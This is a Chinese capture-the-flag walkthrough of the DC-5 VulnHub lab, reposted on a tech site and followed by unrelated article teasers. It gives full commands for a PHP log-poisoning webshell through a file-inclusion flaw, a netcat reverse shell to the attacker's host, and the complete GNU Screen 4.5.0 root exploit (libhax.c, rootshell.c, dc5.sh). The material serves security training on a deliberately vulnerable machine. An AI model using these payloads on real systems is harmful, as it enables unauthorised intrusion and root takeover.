DC-5靶场

目录

DC-5靶机:

先进行主机发现:

发现文件包含:

上传一句话木马:

反弹shell:

提权漏洞利用:

下载exp:                                            

第一个文件 libhax.c

第二个文件rootshell.c:

第三个文件 dc5.sh:

flag:


DC-5靶机:

https://www.vulnhub.com/entry/dc-5,314/

靶机和kali都调节至NAT模式,即可开始渗透

先进行主机发现:

arp-scan -l

以下报告中得知靶机ip是192.168.183.148

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.148 00:0c:29:aa:41:f8       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

Nmap扫描192.168.183.148:

nmap -sV -p-  192.168.183.148

得到报告

Nmap scan report for 192.168.183.148

Host is up (0.00061s latency).

Not shown: 65532 closed tcp ports (reset)

PORT      STATE SERVICE VERSION

80/tcp    open  http    nginx 1.6.2

111/tcp   open  rpcbind 2-4 (RPC #100000)

41656/tcp open  status  1 (RPC #100024)

MAC Address: 00:0C:29:AA:41:F8 (VMware)

  • 80/tcp:这个端口标识为开放状态,使用的协议是HTTP。服务器软件是Nginx版本1.6.2。
  • 111/tcp:这个端口标识为开放状态,使用的协议是RPCBIND。RPCBIND是一个用于远程过程调用(RPC)服务的端口映射程序,它能将RPC程序映射到其所使用的端口上。RPC是一种用于不同计算机之间进行通信和调用远程程序的协议。
  • 41656/tcp:这个端口标识为开放状态,使用的协议是STATUS。STATUS是一个RPC服务的标识号,它通常用于获取远程主机的系统状态信息。

发现文件包含:

dirsearch扫描ip后点击几个页面后发现,在/footer.php这个页面每次刷新年份都不一样,

而在/thankyou.php这个页面下的年份刷新有概率刷出不一样的年份,这说明年份信息是动态获取的,thankyou.php页面的年份刷新逻辑可能会从某个动态数据源中获取年份信息,可能这个年份信息就是从外部文件(footer.php)中获取的。这里的年份变化可能会和文件包含或者随机算法代码逻辑有关,这里我们用参数file测试,发现file=footer.php和file=空时,底下会有区别(一个有年份另一个是空)

当file=/etc/passwd时,读取了文件信息,确认有文件包含漏洞

上传一句话木马:

我们从前面的信息收集中已知这是Nginx服务器,Nginx的日志文件通常位于服务器上的/var/log/nginx目录下,但实际的位置可能因操作系统版本、Nginx配置文件等因素而有所不同。

在Ubuntu和Debian Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:

  • access.log:记录所有HTTP请求和响应的详细信息,包括时间、请求方法、URL、HTTP协议版本、响应状态码、响应大小等。
  • error.log:记录Nginx服务器的错误和警告信息,例如无法启动服务、配置文件错误、连接超时等。

在CentOS或RHEL Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:

  • access_log:与Ubuntu相同,记录所有HTTP请求和响应的详细信息。
  • error_log:与Ubuntu相同,记录Nginx服务器的错误和警告信息。

错误日志会将所有的错误信息都存入日志,如果输入一个不存在的文件,那自然也会当做错误信息存入错误日志里面,那么我们就可以把一句话木马当成这个“不存在的文件名”,接机把一句话木马存入到error.log。直接在url栏写木马可能会被编码后再存入,木马就失效了,所以抓包传木马。以下为数据包内容:

GET /thankyou.php?file=<?Php eval($_REQUEST[6]); ?> HTTP/1.1

Host: 192.168.183.148

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.183.148/contact.php

Upgrade-Insecure-Requests: 1

再次访问http://192.168.183.148/thankyou.php?file=/var/log/nginx/error.log即可看到因为文件名不存在,而写入错误日志的一句话木马

蚁剑链接木马,右击数据点击虚拟终端,在虚拟终端里nc反弹shell

反弹shell:

kali开启监听:

nc -lvvp 666

nc反弹:

nc 192.168.183.138 666 -e /bin/bash

进入交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

查找设置了Suid权限的文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

在出来的数据里我们能看见screen 4.5.0,Screen是一个在Unix和类Unix系统上运行的终端复用程序。它允许用户在单个物理终端或远程SSH会话中同时运行多个虚拟终端,并能够在后台运行、分离和恢复会话。和DC-4一样,searchsploit搜索一下exp

提权漏洞利用:

searchsploit scree 4.5.0

出现报告,给出两个exp:

---------------------- ---------------------------------

 Exploit Title        |  Path

---------------------- ---------------------------------

GNU Screen 4.5.0 - Lo | linux/local/41152.txt

GNU Screen 4.5.0 - Lo | linux/local/41154.sh

---------------------- ---------------------------------

Shellcodes: No Results

下载exp:                                            

searchsploit -m 41154.sh       

以下报告得知我的exp下载在 /home/kali/41154.sh

  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation

      URL: https://www.exploit-db.com/exploits/41154

     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh

    Codes: N/A

 Verified: True

File Type: Bourne-Again shell script, ASCII text executable

Copied to: /home/kali/41154.sh

然后根据指示操作:

第一个文件 libhax.c

vim libhax.c 

然后复制以下内容进去:

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

单独保存并编译,成功会生成libhax.so文件 :

gcc -fPIC -shared -ldl -o libhax.so libhax.c

第二个文件rootshell.c:

vim rootshell.c

然后复制以下内容进去:

#include <stdio.h>

#include <unistd.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh",  NULL);

}

 执行以下命令,成功会生成rootshell文件:

gcc -o rootshell rootshell.c   

第三个文件 dc5.sh:

vim dc5.sh

复制以下内容进去:

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

ls查看三个文件是否存在

由于我的蚁剑就在kali里,所以我在靶机后台的/tmp里直接上传这三个文件(单击右键能看见文件上传选项),如果不在/tmp上传会上传失败,如果蚁剑在物理机,就把三个文件拖出去进行相同操作

上传成功后回到交互式shell这里,先到/tmp目录下

cd /

修改dc5.sh权限:

chmod +x dc5.sh

运行dc5.sh

dc5.sh

当出现#号时即为提权成功,whoami能看到root

flag:

flag在/root下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/230957.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MATLAB程序设计课后作业七(2)

绘制如下图形...... 作者不想写了&#xff0c;也不会写&#xff0c;明显老师刁难......我已畏惧 Im so tired......

闪回表-DM8:达梦数据库闪回

DM8:达梦数据库闪回表 环境介绍1 开启闪回功能2 创建测试示例2.1 闪回表到指定时间点2.2 闪回表到指定的LSN 环境介绍 当系统 INI 参数 ENABLE_FLASHBACK 置为 1 时&#xff0c;闪回功能开启&#xff0c;可以使用闪回表或进行闪回查询。DM MPP 环境暂不支持闪回功能。 闪回表 …

Hadoop伪分布式集群安装

平时我们学习Hadoop技术时&#xff0c;可不一直沉溺于理论学习&#xff0c;一定要理论和实践相结合&#xff0c;所以就必须有一个Hadoop环境&#xff0c;我们能在这个Hadoop环境里进行各种操作&#xff0c;来验证我们在书本上学到的知识。最小的环境&#xff0c;至少要具有一台…

Docker使用7-Use Docker Compose

写在前面 主题是Use Docker Compose&#xff0c;这里是链接。本文学习使用Docker Compose启动应用。 使用Docker Compose启动应用 进入之前todo list的项目目录&#xff0c;创建compose.yaml&#xff0c;输入以下内容。 ├── getting-started-app/ │ ├── Dockerfile │…

电子电器架构( E/E) 演化 —— 大算力

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节…

PowerShell实战:Get-Content命令使用详解

目录 一、Get-Content介绍 二、语法格式 三、参数详解 四、使用案例 4.1 获取文件内容 4.2 获取文件前三行内容 4.3 获取文件最后三行内容 4.4通过管道方式获取最后两行内容 4.5使用逗号作为分隔符 4.6 Filter方式读取多个文件 4.7 Include方式读取多个文件 一、Get-Content介绍…

Oracle VM VirtualBox使用——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务2:离线数据处理

简述&#xff1a; Oracle VM VirtualBox是一款开源虚拟机软件&#xff0c;由德国Innotek公司开发&#xff0c;后被Sun Microsystems公司收购&#xff0c;并最终被甲骨文公司收购。它支持在Windows、Mac OS X、Linux、OpenBSD、Solaris、IBM OS2甚至Android等操作系统上创建虚拟…

真正的软件测试常见的面试题,到底有哪些?

01、您所熟悉的测试用例设计方法都有哪些&#xff1f;请分别以具体的例子来说明这些方法在测试用例设计工作中的应用。 答&#xff1a;有黑盒和白盒两种测试种类&#xff0c;黑盒有等价类划分法&#xff0c;边界分析法&#xff0c;因果图法和错误猜测法。白盒有逻辑覆盖法&…

PostgreSQL的安装、配置与使用指南

文章目录 一、介绍二、安装1、下载安装2、验证 三、配置1、远程连接配置1&#xff09;配置postgresql.conf2&#xff09;配置pg_hba.conf3&#xff09;重启 2、配置数据库的日志 四、图形化界面1、pgAdmin2、Navicat 一、介绍 PostgreSQL是一个功能强大的 开源 的关系型数据库…

分类预测 | Matlab实现AOA-SVM算术优化支持向量机的数据分类预测【23年新算法】

分类预测 | Matlab实现AOA-SVM算术优化支持向量机的数据分类预测【23年新算法】 目录 分类预测 | Matlab实现AOA-SVM算术优化支持向量机的数据分类预测【23年新算法】分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现AOA-SVM算术优化支持向量机的数据分类预测…

WebSocket与JavaScript:实现实时获取位置

一、WebSocket介绍 WebSocket是一种在单个TCP连接上进行全双工通信的协议。与传统的HTTP请求相比&#xff0c;WebSocket能够在服务器和客户端之间建立持久连接&#xff0c;实现实时数据传输。WebSocket提供了较低的延迟和高效的数据传输。在实时舆情监测中&#xff0c;它能够实…

5.docker容器及相关命令

docker中的容器实际上就是宿主机中的一个进程 目录 1 创建并启动容器 docker run 1.1 如果没有指定的镜像的话&#xff0c;docker会尝试从源拉取 1.2 给容器起名字 --name 1.3 交互方式启动(-i)与弹出客户端(-t) 1.4 指定端口 -p 1.5 自动分配端口 -P 1.6 后台运…

element plus 日期范围 自定义内容

问题&#xff1a; 按照官网上的自定义内容示例&#xff0c;修改日期选择器没有问题&#xff0c;如果修改日期范围选择器&#xff0c;修改后会丢失日期范围选择时的样式。 解决&#xff1a; 从F12中不难看出日期范围的选择样式来自于.el-date-table-cell 而示例中写的是.cell&…

文件系统和软硬链接(下)

在这里我们首先学习两个新的知识点第一个&#xff1a; 第二个&#xff1a; 下面我们再来理解思考下面的四个问题&#xff1a; 我们首先来解决第一个问题如果新建一个文件Linux系统会做什么呢&#xff1f; 新建文件&#xff0c;系统会做什么 当我们要新建一个文件的时候&#…

Shell三剑客:sed(命令)二

一、插入命令&#xff1a;i&#xff08;之前&#xff09; [rootlocalhost ~]# sed -r 2i aaaaaaa passwd.txt root:x:0:0:root:/root:/bin/bash aaaaaaa bin:x:1:1:bin:/bin:/sbin/nologin[rootlocalhost ~]# sed -r 2i aaaaaaa\ > bbb\ > ccc passwd.txt root:x:0:0:r…

PMP中的PDU是什么?PDU常见问题合集

为项目管理领域含金量最高的认证&#xff0c;PMP在国内受到了越来越多人的追捧&#xff0c;在PMP学习备考过程中&#xff0c;很多人都听说过“PDU”这个词&#xff0c;那么这个词是什么意思呢&#xff1f;下面小编就为您详细解读。 一、PDU是什么&#xff1f; PDU&#xff08…

TWS蓝牙耳机的船运模式

TWS蓝牙耳机的船运模式 是否需要申请加入数字音频系统研究开发交流答疑群(课题组)?可加我微信hezkz17, 本群提供音频技术答疑服务,+群赠送语音信号处理降噪算法,蓝牙耳机音频,DSP音频项目核心开发资料, TWS蓝牙耳机的船运模式是指在将耳机从一个地方运送到另一个地方时,…

vue3中ref及reactive的说明

目录 1.响应式说明 2.vue3的ref及reactive的使用 3.reactive响应式失效问题 4.总结 1.响应式说明 vue的响应式是vue框架中的核心概念之一&#xff0c;它是指当数据发生变化时&#xff0c;vue能够自动更新视图。vue2的响应式是基于Object.defineProperty进行实现的。 当你把…

Spring Cloud:Eureka

目录 一、Eureka介绍 1.Eureka的作用 2.总结 二.搭建Eureka服务端步骤 1.导入maven依赖 2.编写启动类&#xff0c;添加EnableEurekaServer注解 3.添加application.yml文件&#xff0c;编写下面的配置&#xff1a; 三.注册Eureka客户端服务提供者&#xff08;user-servic…

【每日OJ—有效的括号(栈)】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 1、有效的括号题目&#xff1a; 1.1方法讲解&#xff1a; 1.2代码实现&#xff1a; 总结 前言 世上有两种耀眼的光芒&#xff0c;一种是正在升起的太阳&#…